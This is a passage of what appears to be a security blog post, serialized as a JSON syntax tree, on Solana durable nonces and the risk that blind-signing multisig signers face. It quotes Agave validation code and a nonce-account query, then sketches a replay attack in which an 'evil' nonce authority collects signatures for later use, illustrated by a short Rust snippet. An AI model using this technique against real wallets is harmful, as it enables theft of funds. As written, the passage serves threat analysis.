transaction that can be submitted at any point in the future, and much more. ",{"type":21,"tag":873,"props":68442,"children":68443},{},[68444],{"type":26,"value":68445},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":21,"tag":22,"props":68447,"children":68448},{},[68449,68451,68458],{"type":26,"value":68450},"If we examine the code ",{"type":21,"tag":335,"props":68452,"children":68455},{"href":68453,"rel":68454},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[339],[68456],{"type":26,"value":68457},"for recent blockhash validation",{"type":26,"value":68459},", we can also see the handling for durable nonces.",{"type":21,"tag":75,"props":68461,"children":68463},{"className":77,"code":68462,"language":79,"meta":7,"style":7},"    let recent_blockhash = tx.message().recent_blockhash();\n    if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n        Ok(CheckedTransactionDetails {\n            nonce: None,\n            lamports_per_signature: hash_info.lamports_per_signature(),\n        })\n    } else if let Some((nonce, previous_lamports_per_signature)) = self\n        .check_load_and_advance_message_nonce_account(\n            tx.message(),\n            next_durable_nonce,\n            next_lamports_per_signature,\n        )\n    {\n        Ok(CheckedTransactionDetails {\n            nonce: Some(nonce),\n            lamports_per_signature: previous_lamports_per_signature,\n        })\n    } else {\n        error_counters.blockhash_not_found += 1;\n        Err(TransactionError::BlockhashNotFound)\n    }\n",[68464],{"type":21,"tag":66,"props":68465,"children":68466},{"__ignoreMap":7},[68467,68514,68580,68600,68620,68650,68658,68712,68729,68749,68761,68773,68781,68788,68807,68834,68854,68861,68876,68906,68935],{"type":21,"tag":85,"props":68468,"children":68469},{"class":87,"line":88},[68470,68474,68479,68483,68488,68492,68497,68501,68505,68510],{"type":21,"tag":85,"props":68471,"children":68472},{"style":102},[68473],{"type":26,"value":3778},{"type":21,"tag":85,"props":68475,"children":68476},{"style":120},[68477],{"type":26,"value":68478}," recent_blockhash",{"type":21,"tag":85,"props":68480,"children":68481},{"style":169},[68482],{"type":26,"value":1941},{"type":21,"tag":85,"props":68484,"children":68485},{"style":120},[68486],{"type":26,"value":68487}," tx",{"type":21,"tag":85,"props":68489,"children":68490},{"style":169},[68491],{"type":26,"value":73},{"type":21,"tag":85,"props":68493,"children":68494},{"style":1021},[68495],{"type":26,"value":68496},"message",{"type":21,"tag":85,"props":68498,"children":68499},{"style":114},[68500],{"type":26,"value":14297},{"type":21,"tag":85,"props":68502,"children":68503},{"style":169},[68504],{"type":26,"value":73},{"type":21,"tag":85,"props":68506,"children":68507},{"style":1021},[68508],{"type":26,"value":68509},"recent_blockhash",{"type":21,"tag":85,"props":68511,"children":68512},{"style":114},[68513],{"type":26,"value":4437},{"type":21,"tag":85,"props":68515,"children":68516},{"class":87,"line":98},[68517,68521,68525,68529,68533,68538,68542,68546,68551,68555,68560,68564,68568,68572,68576],{"type":21,"tag":85,"props":68518,"children":68519},{"style":2885},[68520],{"type":26,"value":12696},{"type":21,"tag":85,"props":68522,"children":68523},{"style":102},[68524],{"type":26,"value":27746},{"type":21,"tag":85,"props":68526,"children":68527},{"style":108},[68528],{"type":26,"value":27751},{"type":21,"tag":85,"props":68530,"children":68531},{"style":114},[68532],{"type":26,"value":1439},{"type":21,"tag":85,"props":68534,"children":68535},{"style":120},[68536],{"type":26,"value":68537},"hash_info",{"type":21,"tag":85,"props":68539,"children":68540},{"style":114},[68541],{"type":26,"value":736},{"type":21,"tag":85,"props":68543,"children":68544},{"style":169},[68545],{"type":26,"value":741},{"type":21,"tag":85,"props":68547,"children":68548},{"style":120},[68549],{"type":26,"value":68550}," hash_queue",{"type":21,"tag":85,"props":68552,"children":68553},{"style":169},[68554],{"type":26,"value":73},{"type":21,"tag":85,"props":68556,"children":68557},{"style":1021},[68558],{"type":26,"value":68559},"get_hash_info_if_valid",{"type":21,"tag":85,"props":68561,"children":68562},{"style":114},[68563],{"type":26,"value":1439},{"type":21,"tag":85,"props":68565,"children":68566},{"style":120},[68567],{"type":26,"value":68509},{"type":21,"tag":85,"props":68569,"children":68570},{"style":114},[68571],{"type":26,"value":256},{"type":21,"tag":85,"props":68573,"children":68574},{"style":120},[68575],{"type":26,"value":68300},{"type":21,"tag":85,"props":68577,"children":68578},{"style":114},[68579],{"type":26,"value":15222},{"type":21,"tag":85,"props":68581,"children":68582},{"class":87,"line":151},[68583,68587,68591,68596],{"type":21,"tag":85,"props":68584,"children":68585},{"style":108},[68586],{"type":26,"value":15230},{"type":21,"tag":85,"props":68588,"children":68589},{"style":114},[68590],{"type":26,"value":1439},{"type":21,"tag":85,"props":68592,"children":68593},{"style":108},[68594],{"type":26,"value":68595},"CheckedTransactionDetails",{"type":21,"tag":85,"props":68597,"children":68598},{"style":114},[68599],{"type":26,"value":148},{"type":21,"tag":85,"props":68601,"children":68602},{"class":87,"line":160},[68603,68608,68612,68616],{"type":21,"tag":85,"props":68604,"children":68605},{"style":120},[68606],{"type":26,"value":68607},"            nonce",{"type":21,"tag":85,"props":68609,"children":68610},{"style":169},[68611],{"type":26,"value":172},{"type":21,"tag":85,"props":68613,"children":68614},{"style":108},[68615],{"type":26,"value":28199},{"type":21,"tag":85,"props":68617,"children":68618},{"style":114},[68619],{"type":26,"value":182},{"type":21,"tag":85,"props":68621,"children":68622},{"class":87,"line":185},[68623,68628,68632,68637,68641,68646],{"type":21,"tag":85,"props":68624,"children":68625},{"style":120},[68626],{"type":26,"value":68627},"            lamports_per_signature",{"type":21,"tag":85,"props":68629,"children":68630},{"style":169},[68631],{"type":26,"value":172},{"type":21,"tag":85,"props":68633,"children":68634},{"style":120},[68635],{"type":26,"value":68636}," hash_info",{"type":21,"tag":85,"props":68638,"children":68639},{"style":169},[68640],{"type":26,"value":73},{"type":21,"tag":85,"props":68642,"children":68643},{"style":1021},[68644],{"type":26,"value":68645},"lamports_per_signature",{"type":21,"tag":85,"props":68647,"children":68648},{"style":114},[68649],{"type":26,"value":4258},{"type":21,"tag":85,"props":68651,"children":68652},{"class":87,"line":501},[68653],{"type":21,"tag":85,"props":68654,"children":68655},{"style":114},[68656],{"type":26,"value":68657},"        })\n",{"type":21,"tag":85,"props":68659,"children":68660},{"class":87,"line":697},[68661,68665,68669,68673,68677,68681,68685,68690,68694,68699,68703,68707],{"type":21,"tag":85,"props":68662,"children":68663},{"style":114},[68664],{"type":26,"value":16199},{"type":21,"tag":85,"props":68666,"children":68667},{"style":2885},[68668],{"type":26,"value":4086},{"type":21,"tag":85,"props":68670,"children":68671},{"style":2885},[68672],{"type":26,"value":16208},{"type":21,"tag":85,"props":68674,"children":68675},{"style":102},[68676],{"type":26,"value":27746},{"type":21,"tag":85,"props":68678,"children":68679},{"style":108},[68680],{"type":26,"value":27751},{"type":21,"tag":85,"props":68682,"children":68683},{"style":114},[68684],{"type":26,"value":31968},{"type":21,"tag":85,"props":68686,"children":68687},{"style":120},[68688],{"type":26,"value":68689},"nonce",{"type":21,"tag":85,"props":68691,"children":68692},{"style":114},[68693],{"type":26,"value":256},{"type":21,"tag":85,"props":68695,"children":68696},{"style":120},[68697],{"type":26,"value":68698},"previous_lamports_per_signature",{"type":21,"tag":85,"props":68700,"children":68701},{"style":114},[68702],{"type":26,"value":3204},{"type":21,"tag":85,"props":68704,"children":68705},{"style":169},[68706],{"type":26,"value":741},{"type":21,"tag":85,"props":68708,"children":68709},{"style":102},[68710],{"type":26,"value":68711}," self\n",{"type":21,"tag":85,"props":68713,"children":68714},{"class":87,"line":706},[68715,68720,68725],{"type":21,"tag":85,"props":68716,"children":68717},{"style":169},[68718],{"type":26,"value":68719},"        .",{"type":21,"tag":85,"props":68721,"children":68722},{"style":1021},[68723],{"type":26,"value":68724},"check_load_and_advance_message_nonce_account",{"type":21,"tag":85,"props":68726,"children":68727},{"style":114},[68728],{"type":26,"value":1029},{"type":21,"tag":85,"props":68730,"children":68731},{"class":87,"line":1100},[68732,68737,68741,68745],{"type":21,"tag":85,"props":68733,"children":68734},{"style":120},[68735],{"type":26,"value":68736},"            tx",{"type":21,"tag":85,"props":68738,"children":68739},{"style":169},[68740],{"type":26,"value":73},{"type":21,"tag":85,"props":68742,"children":68743},{"style":1021},[68744],{"type":26,"value":68496},{"type":21,"tag":85,"props":68746,"children":68747},{"style":114},[68748],{"type":26,"value":4258},{"type":21,"tag":85,"props":68750,"children":68751},{"class":87,"line":1339},[68752,68757],{"type":21,"tag":85,"props":68753,"children":68754},{"style":120},[68755],{"type":26,"value":68756},"            next_durable_nonce",{"type":21,"tag":85,"props":68758,"children":68759},{"style":114},[68760],{"type":26,"value":182},{"type":21,"tag":85,"props":68762,"children":68763},{"class":87,"line":1348},[68764,68769],{"type":21,"tag":85,"props":68765,"children":68766},{"style":120},[68767],{"type":26,"value":68768},"            next_lamports_per_signature",{"type":21,"tag":85,"props":68770,"children":68771},{"style":114},[68772],{"type":26,"value":182},{"type":21,"tag":85,"props":68774,"children":68775},{"class":87,"line":1386},[68776],{"type":21,"tag":85,"props":68777,"children":68778},{"style":114},[68779],{"type":26,"value":68780},"        )\n",{"type":21,"tag":85,"props":68782,"children":68783},{"class":87,"line":1394},[68784],{"type":21,"tag":85,"props":68785,"children":68786},{"style":114},[68787],{"type":26,"value":29630},{"type":21,"tag":85,"props":68789,"children":68790},{"class":87,"line":1402},[68791,68795,68799,68803],{"type":21,"tag":85,"props":68792,"children":68793},{"style":108},[68794],{"type":26,"value":15230},{"type":21,"tag":85,"props":68796,"children":68797},{"style":114},[68798],{"type":26,"value":1439},{"type":21,"tag":85,"props":68800,"children":68801},{"style":108},[68802],{"type":26,"value":68595},{"type":21,"tag":85,"props":68804,"children":68805},{"style":114},[68806],{"type":26,"value":148},{"type":21,"tag":85,"props":68808,"children":68809},{"class":87,"line":3145},[68810,68814,68818,68822,68826,68830],{"type":21,"tag":85,"props":68811,"children":68812},{"style":120},[68813],{"type":26,"value":68607},{"type":21,"tag":85,"props":68815,"children":68816},{"style":169},[68817],{"type":26,"value":172},{"type":21,"tag":85,"props":68819,"children":68820},{"style":108},[68821],{"type":26,"value":27751},{"type":21,"tag":85,"props":68823,"children":68824},{"style":114},[68825],{"type":26,"value":1439},{"type":21,"tag":85,"props":68827,"children":68828},{"style":120},[68829],{"type":26,"value":68689},{"type":21,"tag":85,"props":68831,"children":68832},{"style":114},[68833],{"type":26,"value":1074},{"type":21,"tag":85,"props":68835,"children":68836},{"class":87,"line":3246},[68837,68841,68845,68850],{"type":21,"tag":85,"props":68838,"children":68839},{"style":120},[68840],{"type":26,"value":68627},{"type":21,"tag":85,"props":68842,"children":68843},{"style":169},[68844],{"type":26,"value":172},{"type":21,"tag":85,"props":68846,"children":68847},{"style":120},[68848],{"type":26,"value":68849}," previous_lamports_per_signature",{"type":21,"tag":85,"props":68851,"children":68852},{"style":114},[68853],{"type":26,"value":182},{"type":21,"tag":85,"props":68855,"children":68856},{"class":87,"line":3255},[68857],{"type":21,"tag":85,"props":68858,"children":68859},{"style":114},[68860],{"type":26,"value":68657},{"type":21,"tag":85,"props":68862,"children":68863},{"class":87,"line":3286},[68864,68868,68872],{"type":21,"tag":85,"props":68865,"children":68866},{"style":114},[68867],{"type":26,"value":16199},{"type":21,"tag":85,"props":68869,"children":68870},{"style":2885},[68871],{"type":26,"value":4086},{"type":21,"tag":85,"props":68873,"children":68874},{"style":114},[68875],{"type":26,"value":148},{"type":21,"tag":85,"props":68877,"children":68878},{"class":87,"line":3295},[68879,68884,68888,68893,68898,68902],{"type":21,"tag":85,"props":68880,"children":68881},{"style":120},[68882],{"type":26,"value":68883},"        error_counters",{"type":21,"tag":85,"props":68885,"children":68886},{"style":169},[68887],{"type":26,"value":73},{"type":21,"tag":85,"props":68889,"children":68890},{"style":114},[68891],{"type":26,"value":68892},"blockhash_not_found ",{"type":21,"tag":85,"props":68894,"children":68895},{"style":169},[68896],{"type":26,"value":68897},"+=",{"type":21,"tag":85,"props":68899,"children":68900},{"style":2285},[68901],{"type":26,"value":3279},{"type":21,"tag":85,"props":68903,"children":68904},{"style":114},[68905],{"type":26,"value":2535},{"type":21,"tag":85,"props":68907,"children":68908},{"class":87,"line":3308},[68909,68913,68917,68922,68926,68931],{"type":21,"tag":85,"props":68910,"children":68911},{"style":108},[68912],{"type":26,"value":15273},{"type":21,"tag":85,"props":68914,"children":68915},{"style":114},[68916],{"type":26,"value":1439},{"type":21,"tag":85,"props":68918,"children":68919},{"style":108},[68920],{"type":26,"value":68921},"TransactionError",{"type":21,"tag":85,"props":68923,"children":68924},{"style":169},[68925],{"type":26,"value":1087},{"type":21,"tag":85,"props":68927,"children":68928},{"style":108},[68929],{"type":26,"value":68930},"BlockhashNotFound",{"type":21,"tag":85,"props":68932,"children":68933},{"style":114},[68934],{"type":26,"value":2485},{"type":21,"tag":85,"props":68936,"children":68937},{"class":87,"line":3333},[68938],{"type":21,"tag":85,"props":68939,"children":68940},{"style":114},[68941],{"type":26,"value":507},{"type":21,"tag":22,"props":68943,"children":68944},{},[68945],{"type":26,"value":68946},"The documentation does a good job of explaining how they work.",{"type":21,"tag":3712,"props":68948,"children":68949},{},[68950],{"type":21,"tag":22,"props":68951,"children":68952},{},[68953],{"type":26,"value":68954},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":21,"tag":22,"props":68956,"children":68957},{},[68958,68960,68967],{"type":26,"value":68959},"Durable nonces are created and managed ",{"type":21,"tag":335,"props":68961,"children":68964},{"href":68962,"rel":68963},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[339],[68965],{"type":26,"value":68966},"by the system program",{"type":26,"value":68968},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":21,"tag":22,"props":68970,"children":68971},{},[68972,68974,68981],{"type":26,"value":68973},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":21,"tag":335,"props":68975,"children":68978},{"href":68976,"rel":68977},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[339],[68979],{"type":26,"value":68980},"based on the current blockhash",{"type":26,"value":68982},", and cannot be predicted in advance.",{"type":21,"tag":75,"props":68984,"children":68986},{"className":77,"code":68985,"language":79,"meta":7,"style":7},"    let hash_queue = self.blockhash_queue.read().unwrap();\n    let last_blockhash = hash_queue.last_hash();\n    let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[68987],{"type":21,"tag":66,"props":68988,"children":68989},{"__ignoreMap":7},[68990,69042,69075],{"type":21,"tag":85,"props":68991,"children":68992},{"class":87,"line":88},[68993,68997,69001,69005,69009,69013,69018,69022,69026,69030,69034,69038],{"type":21,"tag":85,"props":68994,"children":68995},{"style":102},[68996],{"type":26,"value":3778},{"type":21,"tag":85,"props":68998,"children":68999},{"style":120},[69000],{"type":26,"value":68550},{"type":21,"tag":85,"props":69002,"children":69003},{"style":169},[69004],{"type":26,"value":1941},{"type":21,"tag":85,"props":69006,"children":69007},{"style":102},[69008],{"type":26,"value":14215},{"type":21,"tag":85,"props":69010,"children":69011},{"style":169},[69012],{"type":26,"value":73},{"type":21,"tag":85,"props":69014,"children":69015},{"style":114},[69016],{"type":26,"value":69017},"blockhash_queue",{"type":21,"tag":85,"props":69019,"children":69020},{"style":169},[69021],{"type":26,"value":73},{"type":21,"tag":85,"props":69023,"children":69024},{"style":1021},[69025],{"type":26,"value":61098},{"type":21,"tag":85,"props":69027,"children":69028},{"style":114},[69029],{"type":26,"value":14297},{"type":21,"tag":85,"props":69031,"children":69032},{"style":169},[69033],{"type":26,"value":73},{"type":21,"tag":85,"props":69035,"children":69036},{"style":1021},[69037],{"type":26,"value":4432},{"type":21,"tag":85,"props":69039,"children":69040},{"style":114},[69041],{"type":26,"value":4437},{"type":21,"tag":85,"props":69043,"children":69044},{"class":87,"line":98},[69045,69049,69054,69058,69062,69066,69071],{"type":21,"tag":85,"props":69046,"children":69047},{"style":102},[69048],{"type":26,"value":3778},{"type":21,"tag":85,"props":69050,"children":69051},{"style":120},[69052],{"type":26,"value":69053}," last_blockhash",{"type":21,"tag":85,"props":69055,"children":69056},{"style":169},[69057],{"type":26,"value":1941},{"type":21,"tag":85,"props":69059,"children":69060},{"style":120},[69061],{"type":26,"value":68550},{"type":21,"tag":85,"props":69063,"children":69064},{"style":169},[69065],{"type":26,"value":73},{"type":21,"tag":85,"props":69067,"children":69068},{"style":1021},[69069],{"type":26,"value":69070},"last_hash",{"type":21,"tag":85,"props":69072,"children":69073},{"style":114},[69074],{"type":26,"value":4437},{"type":21,"tag":85,"props":69076,"children":69077},{"class":87,"line":151},[69078,69082,69087,69091,69096,69100,69105,69109,69113,69118],{"type":21,"tag":85,"props":69079,"children":69080},{"style":102},[69081],{"type":26,"value":3778},{"type":21,"tag":85,"props":69083,"children":69084},{"style":120},[69085],{"type":26,"value":69086}," next_durable_nonce",{"type":21,"tag":85,"props":69088,"children":69089},{"style":169},[69090],{"type":26,"value":1941},{"type":21,"tag":85,"props":69092,"children":69093},{"style":108},[69094],{"type":26,"value":69095}," DurableNonce",{"type":21,"tag":85,"props":69097,"children":69098},{"style":169},[69099],{"type":26,"value":1087},{"type":21,"tag":85,"props":69101,"children":69102},{"style":1021},[69103],{"type":26,"value":69104},"from_blockhash",{"type":21,"tag":85,"props":69106,"children":69107},{"style":114},[69108],{"type":26,"value":1439},{"type":21,"tag":85,"props":69110,"children":69111},{"style":169},[69112],{"type":26,"value":2238},{"type":21,"tag":85,"props":69114,"children":69115},{"style":120},[69116],{"type":26,"value":69117},"last_blockhash",{"type":21,"tag":85,"props":69119,"children":69120},{"style":114},[69121],{"type":26,"value":777},{"type":21,"tag":22,"props":69123,"children":69124},{},[69125,69127,69132],{"type":26,"value":69126},"This has an important consequence for our threat model. Unlike recent blockhash transactions, durable nonce transactions ",{"type":21,"tag":39,"props":69128,"children":69129},{},[69130],{"type":26,"value":69131},"can",{"type":26,"value":69133}," be saved and reused.",{"type":21,"tag":54,"props":69135,"children":69137},{"id":69136},"threat-model",[69138],{"type":26,"value":69139},"Threat Model",{"type":21,"tag":22,"props":69141,"children":69142},{},[69143],{"type":26,"value":69144},"Let's consider a simplified form of the original question.",{"type":21,"tag":841,"props":69146,"children":69147},{},[69148,69153,69158],{"type":21,"tag":845,"props":69149,"children":69150},{},[69151],{"type":26,"value":69152},"We have a N/M multisig",{"type":21,"tag":845,"props":69154,"children":69155},{},[69156],{"type":26,"value":69157},"Signers are unable to see what they're signing, both with respect to content and quantity of signatures. This is roughly equivalent to blind signing transactions.",{"type":21,"tag":845,"props":69159,"children":69160},{},[69161],{"type":26,"value":69162},"We can accurately query chain state.",{"type":21,"tag":22,"props":69164,"children":69165},{},[69166],{"type":26,"value":69167},"Can we safely sign transactions?",{"type":21,"tag":22,"props":69169,"children":69170},{},[69171],{"type":26,"value":69172},"One observation is that this problem is very hard to solve with durable nonces. By signing durable nonce transactions, an attacker could collect signatures and replay them at some indeterminite future point.",{"type":21,"tag":22,"props":69174,"children":69175},{},[69176,69178,69184,69186,69193],{"type":26,"value":69177},"Durable nonces require an onchain account, and it's possible to use a ",{"type":21,"tag":66,"props":69179,"children":69181},{"className":69180},[],[69182],{"type":26,"value":69183},"getProgramAccounts",{"type":26,"value":69185}," call to validate if your signer ",{"type":21,"tag":335,"props":69187,"children":69190},{"href":69188,"rel":69189},"https://solana.stackexchange.com/questions/9650/is-there-any-way-to-get-nonce-accounts-of-an-authorized-account",[339],[69191],{"type":26,"value":69192},"has an associated durable nonce",{"type":26,"value":73},{"type":21,"tag":75,"props":69195,"children":69197},{"className":36378,"code":69196,"language":36380,"meta":7,"style":7},"const connection = new Connection(clusterApiUrl('testnet'));\nconst nonceAccounts = await connection.getProgramAccounts(\n  // The system program owns all nonce accounts.\n  SYSTEM_PROGRAM_ADDRESS,\n  {\n    filters: [\n      {\n        // Nonce accounts are exactly 80 bytes long\n        dataSize: 80,\n      },\n      {\n        // The authority's 32-byte public key is written\n        // into bytes 8-40 of the nonce's account data.\n        memcmp: {\n          bytes: AUTHORITY_PUBLIC_KEY.toBase58(),\n          offset: 8,\n        },\n      },\n    ],\n  }\n);\n",[69198],{"type":21,"tag":66,"props":69199,"children":69200},{"__ignoreMap":7},[69201,69248,69284,69292,69304,69312,69324,69332,69340,69357,69364,69371,69379,69387,69399,69425,69442,69449,69456,69464,69471],{"type":21,"tag":85,"props":69202,"children":69203},{"class":87,"line":88},[69204,69208,69213,69217,69221,69226,69230,69235,69239,69244],{"type":21,"tag":85,"props":69205,"children":69206},{"style":102},[69207],{"type":26,"value":10069},{"type":21,"tag":85,"props":69209,"children":69210},{"style":120},[69211],{"type":26,"value":69212}," connection",{"type":21,"tag":85,"props":69214,"children":69215},{"style":169},[69216],{"type":26,"value":1941},{"type":21,"tag":85,"props":69218,"children":69219},{"style":102},[69220],{"type":26,"value":32378},{"type":21,"tag":85,"props":69222,"children":69223},{"style":1021},[69224],{"type":26,"value":69225}," Connection",{"type":21,"tag":85,"props":69227,"children":69228},{"style":114},[69229],{"type":26,"value":1439},{"type":21,"tag":85,"props":69231,"children":69232},{"style":1021},[69233],{"type":26,"value":69234},"clusterApiUrl",{"type":21,"tag":85,"props":69236,"children":69237},{"style":114},[69238],{"type":26,"value":1439},{"type":21,"tag":85,"props":69240,"children":69241},{"style":5026},[69242],{"type":26,"value":69243},"'testnet'",{"type":21,"tag":85,"props":69245,"children":69246},{"style":114},[69247],{"type":26,"value":1569},{"type":21,"tag":85,"props":69249,"children":69250},{"class":87,"line":98},[69251,69255,69260,69264,69268,69272,69276,69280],{"type":21,"tag":85,"props":69252,"children":69253},{"style":102},[69254],{"type":26,"value":10069},{"type":21,"tag":85,"props":69256,"children":69257},{"style":120},[69258],{"type":26,"value":69259}," nonceAccounts",{"type":21,"tag":85,"props":69261,"children":69262},{"style":169},[69263],{"type":26,"value":1941},{"type":21,"tag":85,"props":69265,"children":69266},{"style":2885},[69267],{"type":26,"value":36659},{"type":21,"tag":85,"props":69269,"children":69270},{"style":120},[69271],{"type":26,"value":69212},{"type":21,"tag":85,"props":69273,"children":69274},{"style":114},[69275],{"type":26,"value":73},{"type":21,"tag":85,"props":69277,"children":69278},{"style":1021},[69279],{"type":26,"value":69183},{"type":21,"tag":85,"props":69281,"children":69282},{"style":114},[69283],{"type":26,"value":1029},{"type":21,"tag":85,"props":69285,"children":69286},{"class":87,"line":151},[69287],{"type":21,"tag":85,"props":69288,"children":69289},{"style":92},[69290],{"type":26,"value":69291},"  // The system program owns all nonce accounts.\n",{"type":21,"tag":85,"props":69293,"children":69294},{"class":87,"line":160},[69295,69300],{"type":21,"tag":85,"props":69296,"children":69297},{"style":120},[69298],{"type":26,"value":69299},"  SYSTEM_PROGRAM_ADDRESS",{"type":21,"tag":85,"props":69301,"children":69302},{"style":114},[69303],{"type":26,"value":182},{"type":21,"tag":85,"props":69305,"children":69306},{"class":87,"line":185},[69307],{"type":21,"tag":85,"props":69308,"children":69309},{"style":114},[69310],{"type":26,"value":69311},"  {\n",{"type":21,"tag":85,"props":69313,"children":69314},{"class":87,"line":501},[69315,69320],{"type":21,"tag":85,"props":69316,"children":69317},{"style":120},[69318],{"type":26,"value":69319},"    filters:",{"type":21,"tag":85,"props":69321,"children":69322},{"style":114},[69323],{"type":26,"value":26062},{"type":21,"tag":85,"props":69325,"children":69326},{"class":87,"line":697},[69327],{"type":21,"tag":85,"props":69328,"children":69329},{"style":114},[69330],{"type":26,"value":69331},"      {\n",{"type":21,"tag":85,"props":69333,"children":69334},{"class":87,"line":706},[69335],{"type":21,"tag":85,"props":69336,"children":69337},{"style":92},[69338],{"type":26,"value":69339},"        // Nonce accounts are exactly 80 bytes long\n",{"type":21,"tag":85,"props":69341,"children":69342},{"class":87,"line":1100},[69343,69348,69353],{"type":21,"tag":85,"props":69344,"children":69345},{"style":120},[69346],{"type":26,"value":69347},"        dataSize:",{"type":21,"tag":85,"props":69349,"children":69350},{"style":2285},[69351],{"type":26,"value":69352}," 80",{"type":21,"tag":85,"props":69354,"children":69355},{"style":114},[69356],{"type":26,"value":182},{"type":21,"tag":85,"props":69358,"children":69359},{"class":87,"line":1339},[69360],{"type":21,"tag":85,"props":69361,"children":69362},{"style":114},[69363],{"type":26,"value":37647},{"type":21,"tag":85,"props":69365,"children":69366},{"class":87,"line":1348},[69367],{"type":21,"tag":85,"props":69368,"children":69369},{"style":114},[69370],{"type":26,"value":69331},{"type":21,"tag":85,"props":69372,"children":69373},{"class":87,"line":1386},[69374],{"type":21,"tag":85,"props":69375,"children":69376},{"style":92},[69377],{"type":26,"value":69378},"        // The authority's 32-byte public key is written\n",{"type":21,"tag":85,"props":69380,"children":69381},{"class":87,"line":1394},[69382],{"type":21,"tag":85,"props":69383,"children":69384},{"style":92},[69385],{"type":26,"value":69386},"        // into bytes 8-40 of the nonce's account data.\n",{"type":21,"tag":85,"props":69388,"children":69389},{"class":87,"line":1402},[69390,69395],{"type":21,"tag":85,"props":69391,"children":69392},{"style":120},[69393],{"type":26,"value":69394},"        memcmp:",{"type":21,"tag":85,"props":69396,"children":69397},{"style":114},[69398],{"type":26,"value":148},{"type":21,"tag":85,"props":69400,"children":69401},{"class":87,"line":3145},[69402,69407,69412,69416,69421],{"type":21,"tag":85,"props":69403,"children":69404},{"style":120},[69405],{"type":26,"value":69406},"          bytes:",{"type":21,"tag":85,"props":69408,"children":69409},{"style":120},[69410],{"type":26,"value":69411}," AUTHORITY_PUBLIC_KEY",{"type":21,"tag":85,"props":69413,"children":69414},{"style":114},[69415],{"type":26,"value":73},{"type":21,"tag":85,"props":69417,"children":69418},{"style":1021},[69419],{"type":26,"value":69420},"toBase58",{"type":21,"tag":85,"props":69422,"children":69423},{"style":114},[69424],{"type":26,"value":4258},{"type":21,"tag":85,"props":69426,"children":69427},{"class":87,"line":3246},[69428,69433,69438],{"type":21,"tag":85,"props":69429,"children":69430},{"style":120},[69431],{"type":26,"value":69432},"          offset:",{"type":21,"tag":85,"props":69434,"children":69435},{"style":2285},[69436],{"type":26,"value":69437}," 8",{"type":21,"tag":85,"props":69439,"children":69440},{"style":114},[69441],{"type":26,"value":182},{"type":21,"tag":85,"props":69443,"children":69444},{"class":87,"line":3255},[69445],{"type":21,"tag":85,"props":69446,"children":69447},{"style":114},[69448],{"type":26,"value":25814},{"type":21,"tag":85,"props":69450,"children":69451},{"class":87,"line":3286},[69452],{"type":21,"tag":85,"props":69453,"children":69454},{"style":114},[69455],{"type":26,"value":37647},{"type":21,"tag":85,"props":69457,"children":69458},{"class":87,"line":3295},[69459],{"type":21,"tag":85,"props":69460,"children":69461},{"style":114},[69462],{"type":26,"value":69463},"    ],\n",{"type":21,"tag":85,"props":69465,"children":69466},{"class":87,"line":3308},[69467],{"type":21,"tag":85,"props":69468,"children":69469},{"style":114},[69470],{"type":26,"value":191},{"type":21,"tag":85,"props":69472,"children":69473},{"class":87,"line":3333},[69474],{"type":21,"tag":85,"props":69475,"children":69476},{"style":114},[69477],{"type":26,"value":777},{"type":21,"tag":22,"props":69479,"children":69480},{},[69481,69483,69491],{"type":26,"value":69482},"Unfortunately this is not sufficient",{"type":21,"tag":15893,"props":69484,"children":69485},{},[69486],{"type":21,"tag":335,"props":69487,"children":69489},{"href":30067,"ariaDescribedBy":69488,"dataFootnoteRef":7,"id":30069},[15900],[69490],{"type":26,"value":4779},{"type":26,"value":69492},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":21,"tag":75,"props":69494,"children":69496},{"className":77,"code":69495,"language":79,"meta":7,"style":7},"    let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n    let message =\n        Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n            .serialize();\n",[69497],{"type":21,"tag":66,"props":69498,"children":69499},{"__ignoreMap":7},[69500,69566,69582,69665],{"type":21,"tag":85,"props":69501,"children":69502},{"class":87,"line":88},[69503,69507,69511,69515,69520,69524,69528,69532,69536,69540,69544,69548,69553,69557,69562],{"type":21,"tag":85,"props":69504,"children":69505},{"style":102},[69506],{"type":26,"value":3778},{"type":21,"tag":85,"props":69508,"children":69509},{"style":120},[69510],{"type":26,"value":43821},{"type":21,"tag":85,"props":69512,"children":69513},{"style":169},[69514],{"type":26,"value":1941},{"type":21,"tag":85,"props":69516,"children":69517},{"style":114},[69518],{"type":26,"value":69519}," system_instruction",{"type":21,"tag":85,"props":69521,"children":69522},{"style":169},[69523],{"type":26,"value":1087},{"type":21,"tag":85,"props":69525,"children":69526},{"style":1021},[69527],{"type":26,"value":32568},{"type":21,"tag":85,"props":69529,"children":69530},{"style":114},[69531],{"type":26,"value":1439},{"type":21,"tag":85,"props":69533,"children":69534},{"style":169},[69535],{"type":26,"value":2238},{"type":21,"tag":85,"props":69537,"children":69538},{"style":120},[69539],{"type":26,"value":19900},{"type":21,"tag":85,"props":69541,"children":69542},{"style":114},[69543],{"type":26,"value":256},{"type":21,"tag":85,"props":69545,"children":69546},{"style":169},[69547],{"type":26,"value":2238},{"type":21,"tag":85,"props":69549,"children":69550},{"style":120},[69551],{"type":26,"value":69552},"ledger_base_pubkey",{"type":21,"tag":85,"props":69554,"children":69555},{"style":114},[69556],{"type":26,"value":256},{"type":21,"tag":85,"props":69558,"children":69559},{"style":2285},[69560],{"type":26,"value":69561},"42",{"type":21,"tag":85,"props":69563,"children":69564},{"style":114},[69565],{"type":26,"value":777},{"type":21,"tag":85,"props":69567,"children":69568},{"class":87,"line":98},[69569,69573,69578],{"type":21,"tag":85,"props":69570,"c